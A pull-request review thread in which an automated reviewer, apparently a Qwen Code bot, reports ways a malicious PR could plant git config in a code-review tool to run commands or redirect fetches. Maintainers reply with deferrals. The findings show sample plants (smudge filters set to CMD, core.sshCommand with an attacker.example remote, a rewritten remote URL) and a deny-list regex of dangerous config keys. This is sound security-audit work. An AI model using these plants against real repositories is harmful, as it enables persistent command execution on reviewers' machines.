[Critical] R5-2: A probe-planted submodule.recurse=true makes every screened checkout recurse into initialized submodules, where it EXECUTEs filters planted in the submodule config — files this screen's candidates never include and INERT_GIT_ARGS never neutralizes. Measured end-to-end through real runScratchTree on git 2.47.3: a malicious PR ships a submodule; probe test code runs git submodule update --init (the gitdir is absorbed under the never-wiped common dir), plants filter.evil.smudge = CMD plus the attributes line into the absorbed submodule config and submodule.recurse = true into <common>/config; the screen returns null, and the certified reset checkout recurses and runs CMD. The plant persists in the common dir for every later review — the persistence channel this PR's docstring says it closes. (worktree add never recurses, so the reset/reuse path and other certified checkouts in trees where a probe initialized submodules are the exposed ones.)
Witness:
BASE (unmodified PR, end-to-end runScratchTree): { "secondAvailable": true, "markerCreated": true } <- certified call EXECUTED the plant
FIXED (-c submodule.recurse=false in INERT_GIT_ARGS): { "secondAvailable": true, "markerCreated": false }
raw-git control: reset-shape checkout fired the smudge only with submodule.recurse=true
(Note: on this git version the absorbed module config lives at <common>/worktrees/<id>/modules/<sub>/config; if the screen is extended as well, it must cover that path in addition to <common>/modules/*/config.)
| export const INERT_GIT_ARGS = [ | |
| '-c', | |
| 'core.hooksPath=/dev/null/no-hooks', | |
| export const INERT_GIT_ARGS = [ | |
| '-c', | |
| 'core.hooksPath=/dev/null/no-hooks', | |
| '-c', | |
| 'submodule.recurse=false', |
中文说明
[Critical] R5-2：探针植入的 submodule.recurse=true 会让每一个被屏蔽认证的 checkout 递归进入已初始化的子模块，并在其中执行植入子模块配置的过滤器——这些文件既不在屏蔽的候选集里，INERT_GIT_ARGS 也不覆盖它们。在 git 2.47.3 上经真实的 runScratchTree 端到端实测：恶意 PR 携带一个子模块；探针测试代码运行 git submodule update --init（gitdir 被吸收到从不清理的 common dir 下），向吸收后的子模块配置植入 filter.evil.smudge = CMD 与 attributes 行、向 <common>/config 植入 submodule.recurse = true；屏蔽返回 null，被认证的 reset checkout 随即递归进入子模块并执行 CMD。植入在 common dir 中对之后每次审查持续有效——正是本 PR docstring 声称要关闭的持久化通道。（worktree add 从不递归，因此暴露面是 reset/复用路径，以及在探针初始化过子模块的树中被认证的其他 checkout。）
见证：见英文部分（基线：被认证的调用执行了植入；给 INERT_GIT_ARGS 加 -c submodule.recurse=false 后翻转为未执行）。
（注意：此 git 版本下吸收的子模块配置位于 <common>/worktrees/<id>/modules/<sub>/config；若同时扩展屏蔽，除 <common>/modules/*/config 外还必须覆盖该路径。）
— qwen3.8-max via Qwen Code /review (v0.22.0)
| repo = mkdtempSync(join(tmpdir(), 'qwen-filter-screen-')); | ||
| gitRepo('init', '-q', '-b', 'main'); | ||
| gitRepo('config', 'user.email', 't@t.t'); |
There was a problem hiding this comment.
[Critical] R5-3: This fixture skips the realpathSync(mkdtempSync(...)) that 12 sibling real-git suites apply for exactly this reason, while the FIFO test below asserts a git-reported absolute path built from the un-resolved tmpdir prefix. Git realpath-resolves the paths it reports, so this test fails on any host where tmpdir() resolves through a symlink — macOS always (/var/folders → /private/var/folders). CI routes TMPDIR to real paths (Linux /var/tmp, macOS RUNNER_TEMP) and the test is skipped on Windows, so this merges green and then breaks every macOS local run. The codebase convention is on record at local-diff.integration.test.ts: "realpathSync because macOS's tmpdir is a symlink (/var -> /private/var) while rev-parse returns the resolved path".
Witness (same test, same code, only TMPDIR changed):
BASE: TMPDIR=/tmp/…/real -> Tests 1 passed
BASE: TMPDIR=/tmp/…/link -> FAIL
Expected: "/tmp/rdtest/link/qwen-filter-screen-…/.git/worktrees/planted/config.worktree"
Received: "… (/tmp/rdtest/real/qwen-filter-screen-…/.git/worktrees/planted/config.worktree: not a regular file) …"
FIXED (repo = realpathSync(mkdtempSync(…))): TMPDIR=/tmp/…/link -> Tests 1 passed
| repo = mkdtempSync(join(tmpdir(), 'qwen-filter-screen-')); | |
| gitRepo('init', '-q', '-b', 'main'); | |
| gitRepo('config', 'user.email', 't@t.t'); | |
| repo = realpathSync(mkdtempSync(join(tmpdir(), 'qwen-filter-screen-'))); | |
| gitRepo('init', '-q', '-b', 'main'); | |
| gitRepo('config', 'user.email', 't@t.t'); |
(plus realpathSync in the node:fs import, matching the sibling suites)
中文说明
[Critical] R5-3：该夹具跳过了 12 个同类真实 git 测试套件都为此原因而做的 realpathSync(mkdtempSync(...))，而下方的 FIFO 测试却用未经解析的 tmpdir 前缀构造 git 报告的绝对路径来做断言。git 对它报告的路径做 realpath 解析，因此凡是 tmpdir() 经由符号链接解析的主机，本测试都会失败——macOS 永远如此（/var/folders → /private/var/folders）。CI 把 TMPDIR 指向真实路径（Linux /var/tmp、macOS RUNNER_TEMP），且该测试在 Windows 上跳过，所以它会一路绿灯地合入，然后让每一次 macOS 本地运行失败。代码库自己的惯例记录在 local-diff.integration.test.ts："realpathSync because macOS's tmpdir is a symlink (/var -> /private/var) while rev-parse returns the resolved path"。
见证（同一测试、同一代码、仅更换 TMPDIR）：见英文部分（真实目录通过；符号链接目录失败；加 realpathSync 后翻转回通过）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| } catch { | ||
| // No linked worktrees registered: the two candidates above are all of it. | ||
| } |
There was a problem hiding this comment.
[Critical] R5-4: This catch treats EVERY readdir failure as "no linked worktrees registered", but EACCES is not ENOENT: removing the read bit from the admin directory silently drops every sibling config.worktree candidate while path lookup by exact name still works — the screen returns null and certifies a checkout it never read, contradicting the fail-closed contract this function documents for every other ambiguous state. Measured end-to-end at HEAD: a probe sets extensions.worktreeConfig, plants filter.evil.smudge = CMD into a sibling worktree's config.worktree plus the attributes line, then chmod 0100 <common>/worktrees; the screen certifies, and the scratch-tree reuse reset — which screens from the review worktree but checks out in the scratch tree — EXECUTES the plant. The mode bits and the plant both live in the never-wiped common dir, so it persists across runs.
Witness:
BASE (unmodified PR): git's merged read resolves the plant through the x-only dir;
screenRefusal: null; checkout exit=0; PWNED_A_exists: true <- executed through the certified checkout
FIXED (refuse on non-ENOENT readdir error):
screenRefusal: "…linked worktrees could not be enumerated (EACCES…)"; checkout skipped; PWNED_A_exists: false
| } catch { | |
| // No linked worktrees registered: the two candidates above are all of it. | |
| } | |
| } catch (e) { | |
| if ((e as NodeJS.ErrnoException).code !== 'ENOENT') { | |
| return `the repository's linked worktrees could not be enumerated (${inertPath((e as Error).message)}), so the screen cannot certify that ${checkout} would not EXECUTE a content filter`; | |
| } | |
| // ENOENT: no linked worktrees registered — the two candidates above are all of it. | |
| } |
中文说明
[Critical] R5-4：该 catch 把 readdir 的一切失败都当作"没有已注册的链接 worktree"，但 EACCES 不是 ENOENT：去掉管理目录的读位即可静默丢弃所有兄弟 config.worktree 候选，而按精确名字的路径查找仍然可用——屏蔽返回 null、为一个它从未读取的 checkout 背书，与该函数对其他一切歧义状态所记载的失败即关闭契约相矛盾。在 HEAD 上端到端实测：探针设置 extensions.worktreeConfig，向兄弟 worktree 的 config.worktree 植入 filter.evil.smudge = CMD 与 attributes 行，再 chmod 0100 <common>/worktrees；屏蔽予以认证，而 scratch 树的复用 reset——从审查 worktree 做屏蔽、却在 scratch 树中 checkout——执行了该植入。模式位与植入都在从不清理的 common dir 里，因此跨运行持续有效。
见证：见英文部分（基线：被认证的 checkout 执行了植入；对非 ENOENT 的 readdir 错误改为拒绝后翻转）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| * screen below reads FILTERS only; hooks and fsmonitor are the two other | ||
| * config-driven command surfaces a checkout executes — `worktree add` and a |
There was a problem hiding this comment.
[Critical] R5-5: The boundary this docstring states — hooks and fsmonitor as "the two other config-driven command surfaces a checkout executes" — is incomplete: a checkout also EXECUTES transport-command config keys whenever it lazy-fetches, and a probe can trigger that laziness with extensions.partialClone + a promisor remote + one deleted loose object. core.sshCommand, core.gitProxy, credential.helper (https promisor), and ext:: remote URLs under planted protocol.ext.allow are all keys this screen's regex never matches and INERT_GIT_ARGS never neutralizes.
Measured on git 2.47.3 with the pipeline's exact spawn shapes: plant core.repositoryformatversion 1, extensions.partialClone evil, remote add evil ssh://attacker.example/x, core.sshCommand 'CMD' into the common dir, delete one loose blob backing a tracked file — the real committed screen returns null, and all three certified shapes attempt the promisor fetch and spawn CMD:
BASE (planted, committed code): SCREEN RESULT: null
worktree add --detach: git exit=128 PWNED exists: YES
checkout --force HEAD -- . (dirtied file): git exit=255 PWNED exists: YES
reset --hard: git exit=128 PWNED exists: YES
FIXED (widened regex): SCREEN RESULT: "…core.sshcommand… extensions.partialclone…"
(each BASE shape also prints touch: cannot touch "git-upload-pack '/x'" — proof the planted command exec'd)
The plant persists across every later run — the persistence channel this PR closes for filters/hooks/fsmonitor, reopened one config key over. Fix: fail the screen closed on repo-local extensions.partialClone, core.sshCommand, core.gitProxy, credential.helper, and protocol.ext.allow hits (widen the --get-regexp alternation), or neutralize the transport commands at the spawn (-c core.sshCommand= etc.) — verifying the empty-value semantics per key first, since an empty core.sshCommand may not fall back the way empty core.fsmonitor does.
中文说明
[Critical] R5-5：该 docstring 声明的边界——hooks 与 fsmonitor 是"checkout 会执行的另外两个配置驱动命令面"——并不完备：checkout 在惰性拉取时还会执行传输命令配置键，而探针可以用 extensions.partialClone + 一个 promisor 远端 + 删除一个松散对象来触发这种惰性。core.sshCommand、core.gitProxy、credential.helper（https promisor）、以及植入 protocol.ext.allow 后的 ext:: 远端 URL，都是本屏蔽的正则永不匹配、INERT_GIT_ARGS 也从不中和的键。
在 git 2.47.3 上用管线完全相同的 spawn 形态实测：向 common dir 植入 core.repositoryformatversion 1、extensions.partialClone evil、remote add evil ssh://attacker.example/x、core.sshCommand 'CMD'，删除支撑某个已跟踪文件的一个松散 blob——已提交的真实屏蔽返回 null，三种被认证的形态都尝试 promisor 拉取并派生 CMD（见证见英文部分；每种基线形态还打印 touch: cannot touch "git-upload-pack '/x'"，证明植入命令已执行）。
植入对之后每次运行持续有效——本 PR 为过滤器/钩子/fsmonitor 关闭的持久化通道，被一个配置键重新打开。修法：对仓库本地的 extensions.partialClone、core.sshCommand、core.gitProxy、credential.helper、protocol.ext.allow 命中失败即关闭（扩宽 --get-regexp 的备选分支），或在 spawn 处中和传输命令（-c core.sshCommand= 等）——先逐键验证空值语义，因为空的 core.sshCommand 未必像空的 core.fsmonitor 那样回退。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| const remediation = filterRefusal.includes('defines content filter(s)') | ||
| ? 'Remove the filter config — or the attributes file that uses it — if it is not yours.' | ||
| : filterRefusal.includes('names include directive(s)') |
There was a problem hiding this comment.
[Suggestion] R5-6: The remediation variant is selected by includes() over the full refusal text instead of being derived from the variants that actually fired — two symptoms, one root cause. (1) Spoofable routing: the refusal interpolates attacker-controlled config keys and file paths (inertPath preserves spaces and parentheses), so one write to the never-wiped common config — [includeIf "gitdir:/x/ defines content filter(s) /"] path = … — makes the cascade match the decoy and append the filter remedy for what is really an include refusal; verified through real runScratchTree (containsFilterRemediation: true on base; a first-segment match flips it). (2) Composite refusals: localFilterRefusal returns parts.join('; ') with up to three independent parts (filters / includes / unreadable), but this ternary emits exactly one variant's sentence — a refusal combining a filter hit with an unreadable config.worktree instructs only the filter remedy, so the oncall may remove the user's own legitimate filter and still be refused, the unreadable file never addressed by the instructed step. Nothing executes either way (the screen still fails closed); the cost is a misdirected remedy.
Fix: have localFilterRefusal return which variants fired (a structured discriminant) and derive/concatenate the remediation from the present variants — that closes both symptoms; if staying string-based, match the fixed part prefixes (each part begins with a fixed phrase and parts join in fixed order, so filterRefusal.split('; ')[0] tested with startsWith cannot see interpolated keys).
中文说明
[Suggestion] R5-6：修复变体是用 includes() 在完整拒绝文本上选择的，而不是从实际触发的变体推导——两种症状、同一根因。(1) 可欺骗的路由：拒绝文本内插攻击者可控的配置键与文件路径（inertPath 保留空格与括号），因此向从不清理的 common 配置写入一次——[includeIf "gitdir:/x/ defines content filter(s) /"] path = …——即可让级联匹配到诱饵、为实质上的 include 拒绝附上过滤器的修复指引；已经真实 runScratchTree 验证（基线 containsFilterRemediation: true；改用首段匹配后翻转）。(2) 复合拒绝：localFilterRefusal 返回 parts.join('; ')，最多含三个独立部分（过滤器 / include / 不可读），而该三元表达式只输出一个变体的句子——过滤器命中与不可读 config.worktree 并存的拒绝只给出过滤器修复指引，oncall 可能删掉用户自己合法的过滤器后仍被拒绝、不可读文件始终未被所指示的步骤处理。两种情况下都没有任何东西被执行（屏蔽仍然失败即关闭）；代价是被误导的修复指引。
修法：让 localFilterRefusal 返回触发了哪些变体（结构化判别量），按存在的变体推导/拼接修复指引——同时关闭两种症状；若继续使用字符串匹配，请匹配固定的部分前缀（每部分以固定短语开头、拼接顺序固定，对 filterRefusal.split('; ')[0] 做 startsWith 测试看不到被内插的键）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // isolated first — `detached: true` or setsid — leads its own group and | ||
| // escapes that kill; it is equivalent to an external writer, and the |
There was a problem hiding this comment.
[Critical] R1-2: Still stands — carried forward under its original id. A writer the suite spawned detached: true (or that called setsid) leads its own process group and escapes the group kill this change pins; the survivor outlives every screen and can swap config in the never-wiped common dir between a screen and the checkout it authorised. The mechanism is unchanged at the reviewed commit — the round-2 witness and the integration suite's escape pin both still apply. Rounds 3–5 documented the residual beside the kill and left it escalated for a maintainer decision between the two remaining closures: a descendant-tree kill (not reachable from a spawnSync caller) and refusing creation checkouts while probes with shell access are concurrently alive (a behaviour/scope call). This re-post keeps the blocker visible pending that decision; no code change this round.
中文说明
[Critical] R1-2：仍然成立——以原始 id 结转。套件以 detached: true 派生（或自行调用 setsid）的写者拥有自己的进程组，能逃逸本改动所钉住的组杀；幸存者比所有屏蔽活得更久，可以在某次屏蔽与其所授权的 checkout 之间调换从不清理的 common dir 中的配置。该机制在受审提交处未变——第 2 轮的见证与集成测试对逃逸的钉住均仍然适用。第 3–5 轮把该残余记录在组杀旁，并维持上报状态，等待维护者在两种收口方式间决策：后代树杀（从 spawnSync 调用方不可达）；或在有 shell 权限的探针并发存活时拒绝创建 checkout（行为/范围决策）。本条重发让该阻断在决策前保持可见；本轮无代码改动。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Still acknowledged as standing — no code change this round, as the finding states. For the record, this round's R5-1 work closed the adjacent parent-death path: a teardown signal (SIGHUP/SIGINT/SIGTERM) can no longer kill this process inside the blocking spawnSync and orphan the detached runner — the new teardown hook suppresses the default action, the spawn returns, the group kill runs, and the queued handler exits the 128+signum contract (witnesses in test-efficacy.test.ts). What remains is exactly this finding's residual: a writer the suite isolated first (detached: true/setsid) leads its own process group and escapes the group kill, equivalent to an external writer between a screen and the checkout it authorised. The two remaining closures stay a maintainer decision: (a) a descendant-tree kill, which is not reachable from a spawnSync caller, and (b) refusing creation checkouts while probes with shell access are concurrently alive, which is a behavior/scope call. The escape pin in the integration suite still applies. Leaving this thread open for that decision.
仍然确认成立——按该发现所述，本轮无代码改动。供记录：本轮 R5-1 的工作关闭了相邻的父进程死亡路径——拆除信号（SIGHUP/SIGINT/SIGTERM）不再可能在阻塞的 spawnSync 内杀死本进程、使 detached 运行器成为孤儿：新的拆除钩子抑制默认动作，派生得以返回，组杀得以执行，排队处理器按 128+signum 约定退出（见证位于 test-efficacy.test.ts）。余下的正是本发现的残余：套件先行隔离（detached: true/setsid）的写者拥有自己的进程组并逃逸组杀，等价于屏蔽与其所授权 checkout 之间的外部写者。两种收口方式仍待维护者决策：(a) 后代树杀——从 spawnSync 调用方不可达；(b) 在有 shell 权限的探针并发存活时拒绝创建 checkout——属行为/范围决策。集成测试中的逃逸钉住仍然有效。本线程保持打开，等待该决策。
There was a problem hiding this comment.
Still open and tracked, unchanged this round — this re-post keeps the blocker visible, as intended. The residual remains documented beside the group kill (the runner-spawn comment) and pinned from both sides by the integration suite (in-group kill test + the escape test). Closing it needs one of the two escalated closures: a descendant-tree kill (not reachable from a spawnSync caller) or refusing creation checkouts while probes with shell access are concurrently alive — the second is a behavior/scope call for a maintainer. Round 7's batch addressed the nine new Critical findings; this one stays escalated pending that decision.
中文说明
本线程仍然开放且处于跟踪状态，本轮未变——此次重发按预期保持该阻断可见。该残留仍记录在组杀旁边（运行器派生处的注释），并由集成测试从两个方向钉住（组内击杀测试 + 逃逸测试）。收口需要两种已上报方案之一：后代树击杀（从 spawnSync 调用方不可达）；或在有 shell 权限的探针并发存活时拒绝创建用 checkout——后者是行为/范围决策，需维护者定夺。第 7 轮批量处理了九个新的 Critical 发现；本条维持上报状态，等待该决策。
There was a problem hiding this comment.
Still open, deliberately — escalated for a maintainer decision and unchanged this round. The detached-writer escape is pinned from both sides by the integration suite (in-group kill green; the detached escape's marker exists by design) and documented beside the kill. The two remaining closures are maintainer calls: (1) a descendant-tree kill — not reachable from a spawnSync caller; (2) refusing creation checkouts while any probe with shell access is concurrently alive — a behavior/scope decision this loop does not make silently. No code change this round; this re-post keeps the blocker visible pending that decision.
中文说明
仍然开放，有意为之——已上报等待维护者决定，本轮未改动。detached 写者逃逸已被集成套件从两侧钉住（组内杀绿色；detached 逃逸的标记按设计存在），并在杀逻辑旁文档化。剩余两种闭合方式是维护者的决定：（1）后代树杀——从 spawnSync 调用方不可达；（2）在任何拥有 shell 权限的探针并发存活时拒绝创建 checkout——本循环不会擅自做出的行为/范围决定。本轮无代码改动；本次回复让该阻断项在决定做出前保持可见。
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x), Test (macos-latest, Node 22.x) and Integration Tests (CLI, No Sandbox) were skipped in CI and their behaviour did not run locally (Linux runner).
Not explored to full depth (tool budget reached): chunk 12: executing packages/cli/src/commands/review/test-efficacy.test.ts (blocked: no installed dependencies or built dist in the review worktree); chunk 16: none — no check was cut short.; "agent reverse-audit (round 2)": none — all reads completed untruncated; no check was cut short..
Not reviewed: reverse audit — stopped before round 4 by the review time budget.
Test Plan (not a blocker): 504 passed — this review observed 24841, 21607, 1702, 1659, 601, 4235, 630 passed.
Deferred under the convergence posture (round 13, not a blocker) — recorded, not requested in this round:
packages/cli/src/commands/review/scratch-tree.ts:373 — [probe] remediationForRefusal '; '-split is spoofable by planted config keyspackages/cli/src/commands/review/lib/worktree.ts:850 — [probe] config.worktree screening comment states a git semantic that does not existpackages/cli/src/commands/review/fetch-pr.test.ts:677 — [probe] creation-checkout INERT test pins only 2 of the 3 overridespackages/cli/src/commands/review/lib/worktree.test.ts:163 — [probe] fsmonitor-pin residue test passes identically on an unmeasured resultpackages/cli/src/commands/review/test-efficacy.integration.test.ts:679 — [probe] in-group kill test's sleeper installs no signal handlerpackages/cli/src/commands/review/test-efficacy.integration.test.ts:596 — [probe] submodule-recursion test's whole plant sits in try/catch{} with no landed assertionpackages/cli/src/commands/review/test-efficacy.test.ts:2593 — [review] production runnerGroupPid clear has no witnesspackages/cli/src/commands/review/fetch-pr.test.ts:749 — [review] base-fetch refusal test never pins that no fetch spawn ranpackages/cli/src/commands/review/lib/platform/aone.ts:586 — [review] aone.fetchDiff carries the screen + INERT args but not the head-SHA cross-checkpackages/cli/src/commands/review/scratch-tree.ts:145 — [review] new doc comment claims the screen does not read core.fsmonitor — contradicted by the same PRpackages/cli/src/commands/review/test-efficacy.integration.test.ts:699 — [review] in-group kill test never proves the suite actually ranpackages/cli/src/commands/review/test-efficacy.test.ts:2628 — [probe] deadline test's sleeper resists only SIGTERM — killSignal regression unpinnedpackages/cli/src/commands/review/test-efficacy.ts:2030 — [review] verdict-channel acquisition sits outside the cleanup scope — fd + dir leakpackages/cli/src/commands/review/lib/worktree.ts:936 — [probe] R12-7 still stands (downgraded to Suggestion by this round's re-verification) — lstatSync gates refuse symlinked config candidates
Convergence: round 13 posted 18 inline comment(s), 4 of them reported for the first time; the previous round posted 23 (11 new). Findings keep coming back to the same files: packages/cli/src/commands/review/lib/worktree.ts (findings in rounds 8, 12; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Test (windows-latest, Node 22.x), Test (macos-latest, Node 22.x) and Integration Tests (CLI, No Sandbox) were skipped in CI and their behaviour did not run locally (Linux runner)。
未探索到全部深度（达到工具调用预算）：chunk 12：executing packages/cli/src/commands/review/test-efficacy.test.ts (blocked: no installed dependencies or built dist in the review worktree)；chunk 16：none — no check was cut short.；"agent reverse-audit (round 2)"：none — all reads completed untruncated; no check was cut short.。
未审查：反向审计——评审时间预算不足，未能开始第 4 轮。
Test Plan（非阻断）：504 passed — this review observed 24841, 21607, 1702, 1659, 601, 4235, 630 passed。
收敛姿态下延后（第 13 轮，非阻断）——已记录，本轮不要求修改：共 14 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 13 轮发布了 18 条行内评论，其中 4 条是首次提出；上一轮发布了 23 条（其中 11 条首次提出）。发现反复回到同一批文件：packages/cli/src/commands/review/lib/worktree.ts（第 8、12 轮已出过发现，本轮又有 1 条）。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。（仅为观察——本轮评审未因此扣留任何内容。）
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // pipeline spawns that trigger it — the resume’s `git status`, | ||
| // the residue’s `ls-files`/`check-ignore` — run ahead of or | ||
| // beside the screen. | ||
| '^(filter\\..*\\.(smudge|clean|process)|include\\.path|includeif\\..+\\.path|extensions\\.partialclone|remote\\..+\\.promisor|core\\.sshcommand|core\\.gitproxy|core\\.askpass|credential(\\..+)?\\.helper|remote\\..+\\.uploadpack|protocol\\.(ext\\.)?allow|remote\\..+\\.fetch|core\\.alternaterefscommand|url\\..+\\.insteadof|url\\..+\\.pushinsteadof|core\\.sparsecheckout|core\\.attributesfile|core\\.excludesfile|core\\.fsmonitor|http\\.proxy|https\\.proxy|http\\..+\\.proxy|remote\\..+\\.proxy)$', |
There was a problem hiding this comment.
[Critical] R8-3: Still stands from round 8. The refusal regex judges remote.<name>.fetch/promisor/uploadpack/proxy but never matches remote.<name>.url, remote.<name>.pushurl or remote.<name>.mirror, so a one-write plant of any of them into the never-wiped common dir certifies while redirecting the guarded fetches — and the user's own pushes — to an attacker-controlled repository. Plant remote.origin.url = https://attacker.example/repo.git: the base fetch has no platform anchor (the merge-base is computed locally and the ancestor clamp accepts any served ancestor), so the whole review diff is scoped against an attacker-chosen base while the head fetch stays silent (the attacker serves the public content at the platform SHA). The plant persists in the never-wiped common dir for every later review.
Witness (regex parsed out of this source; live git 2.43.0):
CERTIFIES remote.origin.url
CERTIFIES remote.origin.pushurl
CERTIFIES remote.origin.mirror
(controls uploadpack/promisor/fetch/proxy/insteadof/sshcommand all REFUSED)
planted mirror=true -> bare `git push origin` became a mirror push:
* [new reference] origin/main -> origin/main (into the attacker bare repo,
every local ref incl. refs/remotes/*)
Fix: refuse remote\..+\.mirror key-outright (a fresh pipeline clone never carries it) and judge remote\..+\.(url|pushurl) by VALUE against the expected platform URL the pipeline knows (ownerRepo + remote name).
中文说明
自第 8 轮起仍然存在。拒绝正则审查 remote.<name>.fetch/promisor/uploadpack/proxy，但从不匹配 remote.<name>.url、remote.<name>.pushurl 或 remote.<name>.mirror——攻击者只需向永不清除的 common 目录写入其中任意一个键，即可在屏幕放行（certify）的同时，把受保护的 fetch（以及用户自己的 push）重定向到攻击者控制的仓库。植入 remote.origin.url = https://attacker.example/repo.git 后：base fetch 没有平台锚点（merge-base 在本地计算，祖先钳制接受任何被提供的祖先），整个审查 diff 因此以攻击者选定的 base 为范围，而 head fetch 保持沉默（攻击者按平台 SHA 提供公开内容）。该植入在永不清除的 common 目录中持续存在，影响之后每一次审查。
见证（正则直接解析自本文件源码；git 2.43.0 实测）：三个键均被放行（CERTIFIES），对照键全部被拒绝（REFUSED）；植入 mirror=true 后，裸 git push origin 变为镜像推送——所有本地引用（含 refs/remotes/*）被推入攻击者裸仓库。
修复：将 remote\..+\.mirror 按键直接拒绝（全新管线克隆不会携带该键）；对 remote\..+\.(url|pushurl) 按值判断，与管线已知的平台 URL（ownerRepo + remote 名）比对。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round. This round ran under the workflow budget warning (the previous round exhausted its time before finishing anything) and landed the smallest blocking subset; the base-side platform-OID cross-check (baseRefOid through getFetchMeta/FetchMeta plus the post-base-fetch comparison) and the remote.<name>.url value judgment span every platform reader and were too large to land safely beside this batch. First item for the next round.
中文说明
顺延到下一轮。本轮在工作流预算警告下运行（上一轮在完成任何内容前就耗尽了时间），只落地了最小阻断子集；base 侧的平台 OID 交叉校验（getFetchMeta/FetchMeta 增加 baseRefOid 并在 base fetch 后比对）与 remote.<name>.url 按值判定横跨所有平台读取器，无法与本批安全地一并落地。下一轮第一优先。
| // Node honours `detached` here — it reaches the same `spawn()` the async | ||
| // API uses — but @types/node declares it only on the async `SpawnOptions`, | ||
| // so the option is named in an intersection instead of at the call site. | ||
| const runnerOptions: SpawnSyncOptionsWithStringEncoding & { |
There was a problem hiding this comment.
[Critical] R8-6: Still stands from round 8 (deferred with a recorded plan in rounds 8-12). The premise 'a probe's planting surface is the repo-local files' is false: runnerOptions carries no env override (verified at this commit — only cwd/encoding/timeout/killSignal/stdio/detached), so the probe suite runs with the reviewer's real HOME, and sanitizedGitEnv() only strips GIT_CONFIG_GLOBAL from the pipeline's OWN spawns. A malicious suite plants an executable key into the reviewer's GLOBAL config, where this screen's candidates never read.
Failure: during review of a malicious PR the suite writes filter.evil.smudge = CMD into ~/.gitconfig; the repo-local screen can never see it, and every later git command the reviewer runs on ANY repository executes the planted filter — persistence beyond this review and this repo.
Fix: redirect the suite's HOME and GIT_CONFIG_GLOBAL to a disposable dir the pipeline controls (the test-side isolateHostGitConfig already does this for the unit suite).
中文说明
自第 8 轮起仍然存在（第 8-12 轮均记录在案并顺延）。前提「探针的植入面仅限仓库本地文件「是错误的：runnerOptions 没有任何 env 覆盖（在本提交上核实——只有 cwd/encoding/timeout/killSignal/stdio/detached），因此探针套件以审查者真实的 HOME 运行，而 sanitizedGitEnv() 只从管线自身的 spawn 中剥离 GIT_CONFIG_GLOBAL。恶意套件可以把可执行键植入审查者的全局配置——本屏幕的候选文件永远读不到那里。
失败场景：审查恶意 PR 时，套件向 ~/.gitconfig 写入 filter.evil.smudge = CMD；仓库本地屏幕永远看不到它，审查者之后在任何仓库上运行的每条 git 命令都会执行被植入的过滤器——持久化延伸到本次审查和这个仓库之外。
修复：把套件的 HOME 与 GIT_CONFIG_GLOBAL 重定向到管线控制的一次性目录（测试侧的 isolateHostGitConfig 已为单测套件实现了同样的隔离）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round; smallest blocking subset only). The recorded plan stands: run the probe runner under an isolated HOME/GIT_CONFIG_GLOBAL the pipeline owns (the isolateHostGitConfig pattern), with a test asserting the runner spawn’s env carries the throwaway values.
中文说明
顺延到下一轮（预算警告轮；仅最小阻断子集）。已记录的方案不变：让探针运行器运行在管线自有的一次性 HOME/GIT_CONFIG_GLOBAL 下（isolateHostGitConfig 模式），并加测试断言运行器 spawn 的 env 携带一次性值。
| // (measured live). Only this pin validates IDENTITY. Recorded BEFORE | ||
| // `created` is set: a throw here must land in the creation-failure | ||
| // catch alone, not double-record beside a phase that then runs. | ||
| creationCommonDir = realpathSync( |
There was a problem hiding this comment.
[Critical] R10-1: Still stands from round 10. The creationCommonDir recording spawns git rev-parse through gitOut (here, :3008), which carries no timeout/killSignal — a config-reading spawn left unbounded. The creation screen's bounded rev-parse opens the same discovery files first, which closes the synchronous path; but the R8-14 concurrent-writer class (still standing) can swap a FIFO into the discovery chain between the screen and this spawn, and the spawn then hangs the whole process in open() with no refusal and no message — the exact 'never a blocked event loop' invariant this diff states for its sibling spawns.
Witness: verified at this commit — this gitOut call carries no timeout while the sibling screen spawns are bounded (SCREEN_SPAWN_TIMEOUT_MS + SIGKILL at lib/worktree.ts:814). The R11-7 probe demonstrates the identical unguarded-read hang class on the gate's backpointer read (exit 124 past a 40 s outer bound).
Fix: route this spawn through the bounded helper, or re-run the screen after discardWorktree as base-tree does.
中文说明
自第 10 轮起仍然存在。creationCommonDir 的记录通过 gitOut（此处 :3008）spawn git rev-parse，该辅助函数没有 timeout/killSignal——一个读取配置且无上界的 spawn。创建屏幕自身的有界 rev-parse 会先打开同样的发现链文件，这封闭了同步路径；但 R8-14 的并发写入者类别（仍然存在）可以在屏幕与该 spawn 之间把 FIFO 换入发现链，于是该 spawn 在 open() 中无限挂起——没有拒绝、没有消息——正是本 diff 为其兄弟 spawn 声明的「事件循环永不阻塞「不变量。
见证：在本提交上核实——此 gitOut 调用无 timeout，而兄弟屏幕 spawn 有界（lib/worktree.ts:814 的 SCREEN_SPAWN_TIMEOUT_MS + SIGKILL）。R11-7 的探针在门禁 backpointer 读取上演示了同类的无防护读取挂起（40 秒外边界下 exit 124）。
修复：让该 spawn 走有界辅助函数，或像 base-tree 那样在 discardWorktree 之后重新运行屏幕。
— qwen3.8-max via Qwen Code /review (v0.22.0)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix is small and unchanged from the finding: bound the creationCommonDir capture with timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'; it will be batched with the sibling unbounded-spawn items (R11-2, R11-3, residue spawns, cat-file).
中文说明
顺延到下一轮（预算警告轮）。修复小且与发现描述一致：给 creationCommonDir 捕获加 timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'；将与同类的无界 spawn 项（R11-2、R11-3、残留 spawn、cat-file）合并为一批。
